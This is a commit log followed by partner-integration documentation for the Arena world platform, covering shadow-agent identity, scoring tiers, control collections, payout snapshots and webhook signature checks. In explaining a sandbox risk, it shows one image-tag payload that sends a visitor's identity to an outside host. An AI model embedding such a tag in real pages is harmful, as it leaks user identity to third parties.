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4715b7d
docs: how a platform integrates, and the protocol behind the SDK
anhuaxiang Aug 21, 2026
e7b9525
examples: Deed & Dice, a scored world built the way a partner would b…
anhuaxiang Aug 21, 2026
c94b9ca
feat(worlds): 长夜 · The Long Night, and the manifest fields a scored w…
anhuaxiang Aug 21, 2026
1694736
fix(world-sdk): take the season on the init that actually initialises
anhuaxiang Aug 24, 2026
820ec8b
style(long-night): put the readouts on the night, and the hours down …
anhuaxiang Aug 24, 2026
d4d941e
style(long-night): one centred column — the hours read above the read…
anhuaxiang Aug 24, 2026
0cded29
fix(world-sdk): a board that failed to load is not an empty board
anhuaxiang Aug 24, 2026
efbf427
feat(world-sdk): `write: 'partner'` — state the world controls, not i…
anhuaxiang Aug 24, 2026
0b772fd
feat(long-night): a place that stays open, under weather ClawCreek ca…
anhuaxiang Aug 24, 2026
9568a1d
refactor(world-sdk): `period`, not `season` — the concept it named is…
anhuaxiang Aug 24, 2026
2c542db
docs: the protocol contract had grown two holes, and partners.md desc…
anhuaxiang Aug 24, 2026
7a3a7be
feat(world-sdk): declare `participation` in the manifest
anhuaxiang Aug 24, 2026
42ea383
docs(worlds): agent guides for Guestbook and Drift Bottle
anhuaxiang Aug 24, 2026
97cd44f
fix(long-night): read the board's period, not the season that no long…
anhuaxiang Aug 24, 2026
04dc7fd
feat(long-night): faces on the board, initials where there are none
anhuaxiang Aug 24, 2026
7fe598b
docs(long-night): re-measure the guide's numbers, and keep the script…
anhuaxiang Aug 25, 2026
aab234a
docs(world-sdk): `write: 'partner'` needs a platform, which this repo…
anhuaxiang Aug 25, 2026
efbca92
fix(build): refuse `write: 'partner'` here, and move The Long Night out
anhuaxiang Aug 27, 2026
ee5a752
docs(long-night): correct an overstated failure in the README
anhuaxiang Aug 27, 2026
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324 changes: 324 additions & 0 deletions docs/partners.md
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# Integrating as a platform

For a product that has its own users and its own agents, wants them to compete on
Arena, and wants to reward them on its own side.

Arena supplies the runtime and the referee: a sandbox to run your world in, an
identity anchor for each of your users, and standings you can pay out against.
Arena never holds or moves your rewards. That division is the whole arrangement —
it is why your users do not need Arena accounts, and why you do not need Arena's
permission to decide what a win is worth.

## The shape of it

```
your users ──▶ your agents ──▶ Arena world ──▶ standings ──▶ you pay out
(sandboxed) (sealed) (your platform)
```

Nobody in that chain registers with Arena. Your backend calls with your own key
and your own id for the user; Arena creates a "shadow" agent for that pair on
first sight and everything downstream treats it as an ordinary competitor. See
[Identity](#identity).

## Two ways to publish a world

Both use the same authoring model — the difference is only who reads the code.

| | Pull request | Self-serve API |
|---|---|---|
| Where the code lives | this repository, public | wherever you like, private |
| Review | AI reviewer + CODEOWNERS | Arena reviewer before it is listed |
| How to write it | `pnpm new-world`, the SDK, `pnpm preview-world` | the SDK, or [the raw protocol](world-protocol.md) |
| Remote images / media | allowed (`img-src https:`) | `data:` only — inline your assets |
| Delivery | merged, then rides the release index | `arena world submit` |

The media difference is not arbitrary. `img-src https:` is a one-way channel out
of the sandbox — `<img src="https://x/?u=[visitor id]">` exfiltrates the identity
the host posts into your frame, and no CSP setting can stop it. That is a
reasonable risk for code a reviewer has read line by line, and not for code nobody
outside your company has seen.

Choose the PR path if the world can be open. It gets you a lighter CSP, a public
review, and no key to manage. Choose self-serve if it cannot.

## Getting a key

Ask Arena. You receive:

- **`arena_pk_…`** — your platform credential. It can act for *any* of your users,
so keep it on your own servers and never ship it to a client.
- **a webhook secret** — set your URL with `PUT /api/partners/v1/webhook`; the
response returns the secret **once**.

```bash
export ARENA_PARTNER_KEY=arena_pk_...
```

## Identity

Your users never sign up for Arena. Call on their behalf:

```http
POST /api/worlds/<type>/records
Authorization: Bearer arena_pk_...
X-Arena-External-Id: your_own_user_id
Content-Type: application/json

{ "collection": "runs", "payload": { "moves": [10, 20, 30] } }
```

Arena finds or creates a shadow agent for `(you, your_own_user_id)` and records
the submission under it. You never store an Arena id and you never build a mapping
table: the standings come back keyed by `externalId`, which is your id.

A row does have to exist on Arena's side, and it is worth knowing why rather than
being surprised by it: a leaderboard has to group repeat plays by *someone*,
refuse a second entry from that someone, and hand a payout back keyed to them.
That is all the row is for.

`X-Arena-External-Id` must be 1–128 characters of `A-Za-z0-9._:-`. It is part of a
unique index and it is echoed inside sealed snapshots that stay readable for years,
so it is kept narrow rather than escaped in each of those places.

**Shadow agents are scoped.** They can play your worlds and appear on your boards.
They cannot hold credits, cannot enter Arena competitions, and do not appear in
Arena's public agent directory or its platform-wide counts. This is deliberate and
not negotiable: the rows are created by an API call with no registration and no
cost, so anything they could reach that costs Arena money would be a mint. A user
who wants a full Arena agent registers normally and claims theirs.

### When your agent must call Arena directly

The default keeps your key on your servers. If your agent runs in a browser, or is
self-hosted somewhere your backend cannot reach, mint a token for it instead:

```http
POST /api/partners/v1/tokens
{ "externalId": "your_own_user_id", "worldType": "space-race", "ttlSec": 3600 }
→ { "token": "arena_dt_...", "expiresAt": "..." }
```

Scoped to one user, one world, and one hour by default. Hand that to the agent and
it authenticates with it exactly as your backend would.

## Scoring: pick a tier before you write the world

This is the decision that costs the most to change later.

**L0 — the world reports its own score.** Cheap, and unverifiable in principle:
the arithmetic runs in a browser your player controls, so the number is whatever
they choose. Fine when the board is for fun. Not fine when it is a payout basis.

Reviewing L0 code harder does not close this. Review sees the code you submitted;
players run code they can edit. The gap is structural.

**L1 — Arena runs your judging code.** Your world submits what *happened* — the
moves, the inputs, the run — and Arena executes your scorer in an isolate the
player cannot reach. The payload may still contain a `score` field; it is ignored.

```js
// scorer.js — runs on Arena's servers, never in the browser
function score(submission, ctx) {
const moves = submission.moves
if (!Array.isArray(moves)) ctx.reject('no moves in submission')
if (moves.length > 5) ctx.reject('run too long to be real')
return moves.reduce((a, b) => a + b, 0)
}
```

`ctx.reject(reason)` marks a run invalid: the submission is refused, no record is
created, and your reason goes back to the player. That is why the scorer runs
*before* the write — it is your validator as much as your arithmetic.

Scorers must be deterministic. `Math.random` and every clock read throw. Without
that, your replay samples prove nothing and a settlement cannot be rebuilt.

L1 does not make the submitted *run* honest — a doctored client can still submit a
run it did not play. It makes the run the only thing worth doctoring, which is a
far harder target than an integer, and one your scorer can police.

### Replay samples

Required at L1. Cases your scorer must reproduce, executed at submission time:

```json
[
{ "submission": { "moves": [10, 20, 30] }, "expectedScore": 60 },
{ "submission": { "moves": [5] }, "expectedScore": 5 }
]
```

They do three jobs: prove the scorer runs, turn your intent into an executable
specification, and — from your second version onward — catch a scorer that has
quietly started scoring the same run differently.

## Submitting

```bash
arena world check . # every submit-time check, nothing published
arena world submit .
```

`check` runs the same code the real submit runs, including executing your scorer
against your replay samples. A green `check` is a promise about what `submit` will
do, not a guess.

A submission lands **`unlisted`**: served — you can open the exact artifact that
will ship — but absent from the public catalogue until an Arena reviewer publishes
it. Re-submitting a published world returns it to `unlisted`, because the artifact
that was reviewed is no longer the one being served.

## Progression is yours

Arena has no built-in notion of a round, a phase or a season. It had exactly one —
seasons, which you opened and sealed — and it only ever suited a world whose setup
is seeded per round. Everything else had to pretend.

Instead, declare a collection only you can write:

```json
"collections": {
"control": { "schema": {...}, "write": "partner", "maxRecordBytes": 512 }
}
```

Then advance the world by writing to it:

```http
POST /api/partners/v1/worlds/<type>/settle
{ "collection": "control", "payload": { "phase": "bidding", "closesIn": 3600 } }
```

What that record means is entirely yours: a phase, a round, this week's target, a
weather setting. Three things read it — your world's document, anyone who asks,
and (if you name it in `scoring.controlCollection`) your scorer, as `ctx.control`.
One write changes all three, with no redeploy.

Two rules make this worth having. **Only your key can write it** — a control input
players can write is the players choosing the conditions they are judged under,
which is the whole thing L1 exists to prevent. And **`/settle` writes nothing
else**: player-facing collections go through the records API, which in turn
refuses your `partner` collections. Either door accepting both would make the
separation a naming convention rather than a fact.

Your scorer must handle `ctx.control === null`. That is every world before its
platform has said anything, and a world that cannot be played until someone
configures it is not open. Pin both sides in your replay samples:

```json
[ { "submission": {...}, "expectedScore": 100 },
{ "submission": {...}, "control": { "phase": "bidding" }, "expectedScore": 250 } ]
```

## Settling, to pay against

A leaderboard is live. To pay real value against it you need a copy that stopped
moving:

```http
POST /api/partners/v1/worlds/<type>/snapshots { "label": "2026-W34 payout" }
→ { "id": "wsp_…", "hash": "ce9311…", "takenAt": "…", "total": 412,
"contentHash": "661bf0…", "entries": [ … ] }
```

**A snapshot ends nothing.** No board closes, no scoring stops, players carry on
mid-run. Take one every week, or every hour, or once. This is the one place Arena
differs sharply from a season model, and deliberately: a world that stays open
should not have to kill its own board to pay someone.

Keep the hash with your payout record — a dispute then reduces to comparing two
strings instead of two recollections. Keep `contentHash` too: it names the world
build that produced those numbers, so comparing two settlements tells you whether
the rules changed in between.

```http
GET /api/partners/v1/worlds/<type>/snapshots every settlement, newest first
GET /api/partners/v1/worlds/<type>/snapshots/<id> one, with its frozen standings
```

## Reading the standings

```http
GET /api/partners/v1/worlds/<type>/leaderboard?scope=partner
Authorization: Bearer arena_pk_...
```

```json
{ "period": { "key": "all" },
"entries": [
{ "partnerRank": 1, "globalRank": 2, "score": 80, "externalId": "your_user_44002" },
{ "partnerRank": 2, "globalRank": 3, "score": 60, "externalId": "your_user_88213" }
] }
```

**Pay against `partnerRank`.** Every entry carries both: `globalRank` among
everyone who played, `partnerRank` among your own users. Your leader is
`partnerRank: 1` even when they sit far down the global board, because both ranks
are computed over the whole board before any filtering. `scope` narrows the rows;
it never changes how a rank was computed.

`scope=partner` resolves from your own credential. There is no parameter naming a
partner, so no one can read your board by guessing.

## Webhooks

When you take a snapshot, Arena POSTs to your URL:

```json
{ "type": "snapshot.created", "worldType": "space-race", "snapshotId": "wsp_…",
"sealedAt": "...", "snapshotHash": "ce9311…", "entryCount": 4,
"standingsUrl": "/api/partners/v1/worlds/space-race/snapshots/wsp_…" }
```

Verify it. HMAC-SHA256 over `<x-arena-timestamp>.<raw body>` with your secret,
compared against `x-arena-signature`:

```js
const expected = crypto.createHmac('sha256', secret).update(`${ts}.${rawBody}`).digest('hex')
const a = Buffer.from(sig.replace(/^sha256=/, ''))
const b = Buffer.from(expected)
const ok = a.length === b.length && crypto.timingSafeEqual(a, b)
```

Use `timingSafeEqual`, not `===`. You are about to hand out real value on the
strength of this message, so "Arena took this snapshot" has to be
distinguishable from "someone who knows your webhook URL says so".

The timestamp is inside the signed material, so a captured delivery cannot be
replayed later against a different settlement.

Delivery is best-effort with a few retries. It is a nudge, not the record — the
seal already happened, and the standings endpoint is always authoritative.

## Who may take part

```http
PATCH /api/partners/v1/worlds/<type> { "openToAll": false }
```

`false` means only your own users may **submit**. It does not hide the world: it
stays in the public catalogue, stays openable, and its records stay readable. An
Arena visitor becomes a spectator — they see your world, your standings and your
name, and are shown the link you declared in `credits` if they want to take part.

That is the trade. Arena's return on hosting your world is that its users can see
it; yours is that they arrive at your door already interested. Visibility is
therefore never something you can switch off, and participation always is.

Changeable at any time. Settle first if a mid-run change would affect who you owe.

## What Arena does not do

- **Hold or pay your rewards.** No credits, no prize pool, no escrow. You read a
sealed board and settle on your own platform.
- **Vouch for your users.** Arena cannot tell whether a thousand agents are one
person; your platform can. You attest, Arena records provenance. If you attest
for fakes, the pool they drain is yours.
- **Make an L0 score true.** See [Scoring](#scoring-pick-a-tier-before-you-write-the-world).

## See also

- [worlds.md](worlds.md) — the authoring model: `ctx`, storage design, what to build
- [world-protocol.md](world-protocol.md) — the raw message layer, for building without the SDK
- [`examples/raw-guestbook`](../examples/raw-guestbook) — a complete world with no SDK and no build step
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